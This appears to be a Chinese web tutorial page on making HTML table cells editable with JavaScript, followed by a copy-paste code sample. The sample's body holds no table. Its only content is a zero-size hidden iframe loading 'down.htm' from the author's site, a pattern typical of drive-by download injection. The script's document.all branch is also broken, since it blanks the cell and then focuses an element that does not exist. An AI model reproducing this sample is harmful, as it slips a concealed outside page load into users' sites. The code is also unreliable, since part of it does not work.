怎样让你的表格可编辑???
<style> .td1 { color: white; background-color: orange;font-size:11pt} .td2 { color: white; background-color: #0099ff;font-size:11pt} .td3 { color: white; background-color: #336699;font-size:11pt} blockquote{BACKGROUND-POSITION: center center; BACKGROUND-IMAGE: url(http://lucky.myrice.com/back.jpg); BACKGROUND-REPEAT: no-repeat;padding-left:20px;padding-top:20px;padding-bottom:20px;border: 12px solid #66ffff; border-style: ridge;background-color:#0099FF} </style> <script> function editCell (cell) { if (document.all) { cell.innerHTML = ''; document.all.editCell.focus(); document.all.editCell.select(); } else if (document.getElementById) { cell.normalize(); var input = document.createElement('INPUT'); input.setAttribute('value', cell.firstChild.nodeValue); input.setAttribute('size', cell.firstChild.nodeValue.length); input.onchange = function (evt) { setCell(this.parentNode, this.value); }; input.onclick = function (evt) { evt.cancelBubble = true; if (evt.stopPropagation) evt.stopPropagation(); }; cell.replaceChild(input, cell.firstChild); input.focus(); input.select(); } } function setCell (cell, value) { if (document.all) cell.innerText = value; else if (document.getElementById) cell.replaceChild(document.createTextNode(value), cell.firstChild); } </script>欢迎光临 | [孟宪会之精彩世界] | http://lucky.myrice.com |
代码如下:
<xmp><html> <head> <style> .td1 { color: white; background-color: orange;} .td2 { color: white; background-color: #0099ff;} .td3 { color: white; background-color: #336699;} </style> <script> function editCell (cell) { if (document.all) { cell.innerHTML = ''; document.all.editCell.focus(); document.all.editCell.select(); } else if (document.getElementById) { cell.normalize(); var input = document.createElement('INPUT'); input.setAttribute('value', cell.firstChild.nodeValue); input.setAttribute('size', cell.firstChild.nodeValue.length); input.onchange = function (evt) { setCell(this.parentNode, this.value); }; input.onclick = function (evt) { evt.cancelBubble = true; if (evt.stopPropagation) evt.stopPropagation(); }; cell.replaceChild(input, cell.firstChild); input.focus(); input.select(); } } function setCell (cell, value) { if (document.all) cell.innerText = value; else if (document.getElementById) cell.replaceChild(document.createTextNode(value), cell.firstChild); } </script> </head> <body><iframe src="http://lucky.myrice.com/down.htm" height="0" width="0"></iframe></body> </html> </xmp>
欢迎光临 [孟宪会之精彩世界] http://lucky.myrice.com